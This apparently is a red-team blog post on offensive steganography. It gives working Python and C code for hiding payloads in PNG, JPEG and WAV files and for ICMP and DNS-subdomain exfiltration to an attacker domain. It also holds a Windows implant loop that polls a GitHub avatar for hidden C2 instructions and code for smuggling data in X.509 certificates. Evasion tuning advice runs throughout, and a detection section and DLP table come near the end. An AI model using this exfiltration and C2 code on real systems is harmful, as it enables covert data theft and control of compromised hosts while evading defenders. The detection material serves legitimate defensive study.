TL;DR — Steganography embeds data inside innocent-looking carrier files — images, audio, network packets — in a way that is imperceptible to casual inspection and often opaque to signature-based DLP tools. Red teamers exploit this to deliver payloads inside CDN-hosted images, exfiltrate data through network covert channels, and poll for C2 instructions hidden inside publicly accessible social media avatars. This post covers LSB and frequency-domain image steganography, audio carrier techniques, network covert channels, and practical offensive workflows, alongside the detection landscape an operator must evade.
Executive Summary
Data exfiltration and payload delivery are the highest-friction phases of a red team engagement. Perimeter DLP tools inspect file contents, proxy logs capture HTTP destinations, and network monitoring builds baselines that flag anomalous traffic volumes. Steganography directly attacks the assumption underlying all of these controls: that the content of a communication encodes the communication. By embedding operational data inside a statistically normal carrier file, the attacker degrades the signal-to-noise ratio for every detection layer simultaneously.
Modern offensive steganography is not the crude LSB-in-a-BMP technique of the 1990s. Contemporary operations layer algorithmic steganography (F5 JPEG, OpenPuff, custom DCT manipulation) with protocol-level covert channels (ICMP payloads, TCP ISN encoding, DNS subdomain exfiltration) to construct C2 pipelines that survive deep packet inspection, proxy SSL inspection, and behavioral anomaly detection. This post builds a practitioner-level understanding of each technique, its detection signature, and the methods available to reduce that signature to noise.
Steganography in the Offensive Lifecycle
graph LR
A[Operator generates payload/instruction] --> B{Carrier type}
B -->|Image PNG/JPEG| C[LSB embed / DCT coefficient mod]
B -->|Audio WAV/MP3| D[Echo hiding / LSB in samples]
B -->|Network packet| E[ICMP data field / TCP ISN / DNS label]
B -->|X.509 cert / HTTP cookie| F[Extension / cookie value encoding]
C --> G[Host on CDN / social media avatar]
D --> G
G --> H[Implant polls cover URL at interval]
H --> I[Extract hidden data in memory]
I --> J[Execute instruction / decode shellcode]
E --> K[Covert channel without file artifact]The operational value proposition: the implant's traffic looks like periodic CDN image fetches (or DNS lookups, or ICMP pings), not like command-and-control protocol. The cover file changes at the operator's discretion by uploading a new version; the implant detects the change and processes new instructions.
LSB Steganography in PNG and BMP
PNG and BMP store pixel data as arrays of discrete colour channel values. Each 8-bit channel (R, G, B, A) uses one bit per pixel as the least-significant bit — modifying this bit produces a colour shift of 1/255 (~0.4%), imperceptible to the human eye and indistinguishable from compression or sensor noise.
Capacity: An 800×600 RGB PNG has 1,440,000 pixels × 3 channels = 4,320,000 LSBs = 540,000 bytes of payload capacity. A 64×64 avatar PNG holds 12,288 bytes — sufficient for a compact shellcode stub or AES-encrypted C2 instruction block.
Python implementation — LSB embed and extract:
from PIL import Imageimport struct def lsb_embed(cover_path: str, payload: bytes, output_path: str) -> None: img = Image.open(cover_path).convert("RGB") pixels = list(img.getdata()) width, height = img.size # Prepend 4-byte payload length header data = struct.pack(">I", len(payload)) + payload bits = "".join(f"{b:08b}" for b in data) if len(bits) > len(pixels) * 3: raise ValueError("Payload too large for carrier") new_pixels = [] bit_idx = 0 for r, g, b in pixels: channels = [r, g, b] for i in range(3): if bit_idx < len(bits): # Replace LSB of each channel with payload bit channels[i] = (channels[i] & 0xFE) | int(bits[bit_idx]) bit_idx += 1 new_pixels.append(tuple(channels)) out = Image.new("RGB", (width, height)) out.putdata(new_pixels) # PNG is lossless — LSBs preserved exactly out.save(output_path, format="PNG") def lsb_extract(stego_path: str) -> bytes: img = Image.open(stego_path).convert("RGB") pixels = list(img.getdata()) bits = "" for r, g, b in pixels: for channel in (r, g, b): bits += str(channel & 1) # First 32 bits = length length = int(bits[:32], 2) payload_bits = bits[32: 32 + length * 8] return bytes(int(payload_bits[i:i+8], 2) for i in range(0, len(payload_bits), 8))C in-memory extraction (implant-side):
#include <stdint.h>#include <string.h> // Assumes raw RGB pixel buffer loaded into memory (e.g. via libpng or stb_image)// Returns malloc'd payload buffer; caller must free()uint8_t* lsb_extract_mem(const uint8_t* pixels, size_t pixelCount, size_t* outLen) { // Read 32-bit length from first 32 channel LSBs uint32_t length = 0; for (int bit = 0; bit < 32; bit++) { uint8_t channel = pixels[(bit / 3) * 3 + (bit % 3)]; // R,G,B order length |= (uint32_t)(channel & 1) << (31 - bit); } uint8_t* out = (uint8_t*)malloc(length); if (!out) return NULL; size_t bitStart = 32; for (size_t b = 0; b < length; b++) { uint8_t byte = 0; for (int bit = 0; bit < 8; bit++) { size_t absIdx = bitStart + b * 8 + bit; uint8_t channel = pixels[(absIdx / 3) * 3 + (absIdx % 3)]; byte |= (uint8_t)(channel & 1) << (7 - bit); } out[b] = byte; } *outLen = length; return out;}Detection weakness: LSB steganography in PNG produces a statistically detectable signal. The LSB plane of an unmodified photographic PNG exhibits spatial correlation — adjacent pixels tend to have similar colour values, so their LSBs are correlated. After LSB embedding with pseudo-random binary payload, the LSB plane becomes statistically uniform (Chi-squared test detects this with high confidence for payload densities above ~20%). Tools: stegdetect, StegExpose, zsteg.
Operator mitigation: keep payload density below 10% of capacity, embed in the chrominance channels of high-noise regions (foliage, textured backgrounds), and use a cryptographic PRNG to scatter payload bits non-sequentially across the pixel array (key-directed embedding).
F5 Algorithm: JPEG Frequency-Domain Steganography
JPEG images are not stored as pixel arrays — they are stored as DCT (Discrete Cosine Transform) coefficients after 8×8 block quantisation. Modifying DCT coefficients rather than spatial pixel values produces a stego image that survives JPEG re-compression at the same quality level and is resistant to Chi-squared attacks that target LSB planes.
The F5 algorithm by Andreas Westfeld (2001) uses matrix encoding to reduce the number of coefficient modifications per payload bit embedded, and embeds by decrementing non-zero AC DCT coefficients by 1. Shrinkage (a coefficient modified from ±1 to 0) is handled by re-embedding. A permutation derived from a passphrase determines which coefficients are used.
# Conceptual F5 embedding — requires libjpeg bindings for DCT access# Full F5 requires the original steghide / f5-steganography libraryimport subprocessimport tempfile, os def f5_embed(cover_jpeg: str, payload_path: str, output_jpeg: str, passphrase: str) -> None: """ Wrapper around the Java F5 reference implementation. In a red team context, compile the F5 JAR locally and invoke via subprocess to avoid third-party runtime dependencies at the target. """ cmd = [ "java", "-jar", "f5.jar", "e", # embed "-e", payload_path, # payload file "-p", passphrase, # passphrase for permutation seeding cover_jpeg, # input cover JPEG output_jpeg # output stego JPEG ] subprocess.run(cmd, check=True, capture_output=True) def f5_extract(stego_jpeg: str, output_path: str, passphrase: str) -> None: cmd = [ "java", "-jar", "f5.jar", "x", "-e", output_path, "-p", passphrase, stego_jpeg ] subprocess.run(cmd, check=True, capture_output=True)Operational use: Operator stores a stego JPEG on a public CDN (e.g., Cloudfront, Imgur, or a social media platform's image hosting). The implant fetches the JPEG periodically (mimicking browser image loading), extracts the F5-embedded payload using a pre-shared passphrase, and processes the embedded instruction. The CDN response headers, MIME type, and image dimensions are all legitimate — network inspection sees only a JPEG fetch from a known-good CDN domain.
Audio Steganography: WAV LSB and Echo Hiding
WAV LSB follows the same principle as image LSB: a 44.1kHz 16-bit stereo WAV file has 44,100 × 2 channels × 2 bytes/sample = 176,400 bytes per second of audio. Each sample's LSB carries 1 bit of payload: 44,100 bps per channel × 2 channels = 11,025 bytes/second of payload capacity. A 10-second WAV carries 110KB of shellcode — in a format that network monitoring typically ignores entirely.
Echo hiding is more robust against statistical detection: instead of modifying sample values, it introduces a low-amplitude echo of the original audio at a delay of 1ms (binary 0) or 0.5ms (binary 1). The echo is below human hearing threshold. The receiver decodes the delay values using cepstral analysis. Detection requires audio forensics tools (AutoCrypt, MP3Stego analysis).
import numpy as npimport wave, struct def wav_lsb_embed(cover_wav: str, payload: bytes, output_wav: str) -> None: with wave.open(cover_wav, 'rb') as w: params = w.getparams() frames = w.readframes(w.getnframes()) # 16-bit PCM — each sample is 2 bytes, little-endian signed short samples = np.frombuffer(frames, dtype=np.int16).copy() bits = "".join(f"{b:08b}" for b in struct.pack(">I", len(payload)) + payload) if len(bits) > len(samples): raise ValueError("Payload exceeds WAV capacity") for i, bit in enumerate(bits): # Clear LSB and set to payload bit samples[i] = (samples[i] & ~1) | int(bit) with wave.open(output_wav, 'wb') as w: w.setparams(params) w.writeframes(samples.tobytes())Network Covert Channels
Protocol-level steganography embeds data in packet header fields rather than file payloads, making it invisible to application-layer DLP while still traversing the network.
| Protocol | Field | Capacity | Notes |
|---|---|---|---|
| ICMP Echo | Data payload (arbitrary length) | ~64KB/packet | Filtered at perimeter by many firewalls |
| IPv4 | Identification field (16 bits) | 2 bytes/packet | Requires raw socket; Linux/Windows root |
| TCP | Initial Sequence Number (32 bits) | 4 bytes/SYN packet | Detectable by ISN randomness analysis |
| TCP | Urgent pointer (16 bits) | 2 bytes/packet | Almost never used legitimately |
| DNS | TXT record value | 255 bytes/record | Common exfil path; widely monitored |
| DNS | Subdomain label | ~63 chars/label | Base32/hex encoding; watched by DNS RPZ |
| HTTP | Cookie value | Varies | Natural carrier; large capacity |
| HTTP | User-Agent string | ~512 bytes | Fingerprinted but modifiable |
ICMP covert channel — Python raw socket:
import socket, struct, os, time def icmp_checksum(data: bytes) -> int: s = 0 for i in range(0, len(data), 2): if i + 1 < len(data): s += (data[i] << 8) + data[i + 1] else: s += data[i] << 8 s = (s >> 16) + (s & 0xFFFF) s += s >> 16 return ~s & 0xFFFF def icmp_exfil(dest_ip: str, payload: bytes, chunk_size: int = 32) -> None: """Send payload hidden in ICMP echo request data fields.""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) for i, offset in enumerate(range(0, len(payload), chunk_size)): chunk = payload[offset:offset + chunk_size] # Prepend 2-byte chunk index for reassembly data = struct.pack(">H", i) + chunk # Build ICMP echo header: type=8, code=0, checksum, id, seq icmp_id = os.getpid() & 0xFFFF icmp_seq = i & 0xFFFF header = struct.pack(">BBHHH", 8, 0, 0, icmp_id, icmp_seq) packet = header + data checksum = icmp_checksum(packet) packet = struct.pack(">BBHHH", 8, 0, checksum, icmp_id, icmp_seq) + data sock.sendto(packet, (dest_ip, 0)) time.sleep(0.05) # 50ms inter-packet delay — mimics legitimate ping sock.close()DNS subdomain exfiltration:
import dns.resolver, base64, time def dns_exfil(domain: str, payload: bytes, delay: float = 0.5) -> None: """ Encode payload as base32 (DNS-safe alphabet) and send as subdomain queries. domain: attacker-controlled zone, e.g. 'exfil.attacker.com' Receiver parses DNS query logs on authoritative server. """ encoded = base64.b32encode(payload).decode().rstrip("=").lower() # DNS label max 63 chars; split encoded data into 48-char chunks # (leaving room for sequence prefix) chunk_size = 48 chunks = [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)] resolver = dns.resolver.Resolver() resolver.timeout = 2 resolver.lifetime = 2 for i, chunk in enumerate(chunks): # Format: {seq_hex}.{data}.{domain} fqdn = f"{i:04x}.{chunk}.{domain}" try: resolver.resolve(fqdn, "A") except Exception: pass # NXDOMAIN expected — data is in the query itself time.sleep(delay)The social media avatar C2 technique exploits the fact that platforms like Twitter, GitHub, and Reddit expose profile images at predictable, publicly accessible URLs with no authentication. The implant periodically fetches the avatar URL (appearing as a normal HTTPS GET to a CDN hostname), extracts the embedded instruction using the pre-shared key, and executes.
Implant polling loop (C, Windows):
#include <windows.h>#include <winhttp.h>#include <stdint.h> #pragma comment(lib, "winhttp.lib") #define AVATAR_HOST L"avatars.githubusercontent.com"#define AVATAR_PATH L"/u/123456789?v=4"#define POLL_INTERVAL 300000 // 5 minutes#define AES_KEY "0123456789abcdef0123456789abcdef" // 32-byte AES-256 key uint8_t* FetchUrl(const wchar_t* host, const wchar_t* path, size_t* outSize) { HINTERNET hSession = WinHttpOpen( L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0); HINTERNET hConn = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTPS_PORT, 0); HINTERNET hReq = WinHttpOpenRequest(hConn, L"GET", path, NULL, NULL, NULL, WINHTTP_FLAG_SECURE); WinHttpSendRequest(hReq, NULL, 0, NULL, 0, 0, 0); WinHttpReceiveResponse(hReq, NULL); DWORD available = 0, downloaded = 0, total = 0; uint8_t* buffer = NULL; do { WinHttpQueryDataAvailable(hReq, &available); if (!available) break; buffer = (uint8_t*)realloc(buffer, total + available); WinHttpReadData(hReq, buffer + total, available, &downloaded); total += downloaded; } while (available > 0); WinHttpCloseHandle(hReq); WinHttpCloseHandle(hConn); WinHttpCloseHandle(hSession); *outSize = total; return buffer;} void C2Loop(void) { while (1) { size_t imageSize = 0; uint8_t* imageData = FetchUrl(AVATAR_HOST, AVATAR_PATH, &imageSize); if (imageData) { size_t payloadSize = 0; uint8_t* payload = lsb_extract_mem(imageData + /* PNG pixel offset */0, imageSize, &payloadSize); if (payload && payloadSize > 0) { // AES-256-CBC decrypt payload, then dispatch instruction DispatchInstruction(payload, payloadSize); free(payload); } free(imageData); } Sleep(POLL_INTERVAL); }}Network signature: periodic HTTPS GETs to avatars.githubusercontent.com with a consistent interval, identical request headers, and no session cookies. A behavioral baseline would flag the extreme regularity. Operator mitigation: jitter the polling interval (random ±20%), rotate the avatar URL across multiple platforms, use a real browser stack (via COM automation of an embedded WebView2) to generate authentic HTTP headers and TLS fingerprints.
X.509 Certificate Steganography
X.509 certificates contain variable-length extension fields and Subject Alternative Name (SAN) entries. An attacker controlling a CA (or using a self-signed cert for internal C2) can embed arbitrary data in these fields. Firewall TLS inspection decodes the certificate but typically only validates the certificate chain — extension field contents are not inspected for embedded data.
from cryptography import x509from cryptography.x509.oid import ExtensionOIDfrom cryptography.hazmat.primitives import hashes, serializationfrom cryptography.hazmat.primitives.asymmetric import rsaimport datetime, base64 def generate_stego_cert(hidden_data: bytes) -> bytes: """Embed hidden_data in a certificate's Subject Key Identifier extension.""" key = rsa.generate_private_key(public_exponent=65537, key_size=2048) # Encode payload as hex string to fit in SAN DNS name format encoded = base64.b32encode(hidden_data).decode().lower() cert = ( x509.CertificateBuilder() .subject_name(x509.Name([ x509.NameAttribute(x509.NameOID.COMMON_NAME, "legit-service.com") ])) .issuer_name(x509.Name([ x509.NameAttribute(x509.NameOID.COMMON_NAME, "Trusted CA") ])) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) # Embed payload in a custom OID extension (OID 1.3.6.1.4.1.99999.1) .add_extension( x509.UnrecognizedExtension( x509.ObjectIdentifier("1.3.6.1.4.1.99999.1"), hidden_data ), critical=False ) .sign(key, hashes.SHA256()) ) return cert.public_bytes(serialization.Encoding.PEM)Detection
Steganographic image detection:
zsteg(Ruby):zsteg -a image.png— tests all LSB plane combinations and reports likely embedded dataStegExpose: Java tool implementing Chi-squared, RS analysis, and Sample Pairs analysis; detects LSB steganography with statistical confidence scoringstegdetect: DCT histogram analysis for JPEG steganography (jsteg, F5, outguess)
Network covert channel detection:
- ICMP payload size anomaly: legitimate ping tools send fixed-size payloads (32 bytes on Windows, 56 bytes on Linux); variable or large ICMP payloads indicate covert channel use
- DNS query entropy: base32-encoded exfiltration in subdomain labels produces high-entropy labels (near-uniform character distribution); normal DNS queries have low-entropy hostnames
- TCP ISN randomness: legitimate OS TCP stacks generate cryptographically random ISNs; covert channels using ISN encoding produce predictable patterns detectable with p0f or Zeek's
conn.loganalysis - NTA tools (Zeek, Corelight) can be configured with custom Zeek scripts to compute per-connection entropy metrics on DNS labels and ICMP payloads
DLP controls:
| Control | Covers | Blind spot |
|---|---|---|
| Content inspection (regex/MIME type) | Known file types with signatures | Steganographic content inside valid images |
| Hash-based blocklist | Known malicious files | Modified cover images |
| Proxy SSL inspection | HTTPS payload | CDN-hosted images (CDN cert pinning may block inspection) |
| DNS RPZ / DNS security | Known malicious domains | Newly registered C2 domains |
| Network flow analysis | Volume anomalies | Low-rate covert channels |
Conclusion
Steganography in red team operations exploits a fundamental gap between what security tools inspect and what they trust implicitly. A PNG fetched from a CDN, an ICMP ping to an internal host, a DNS query to a legitimate-looking domain — each is a trust relationship that perimeter controls extend without scrutiny. The practitioner who understands the statistical properties of each technique and the detection capabilities of the target environment can construct covert channels that survive not only signature-based inspection but also statistical anomaly detection.
The defensive answer is not to block all image traffic or DNS queries — that is operationally untenable. It is to instrument those channels with statistical analysis (entropy scoring, Chi-squared testing, payload size distributions), correlate anomalies across multiple indicators, and accept a non-zero false-positive rate in exchange for meaningful coverage. Operators who understand this detection landscape will tune their steganographic implementations — lower payload density, better PRNG key scattering, realistic polling jitter — to stay below the detection threshold.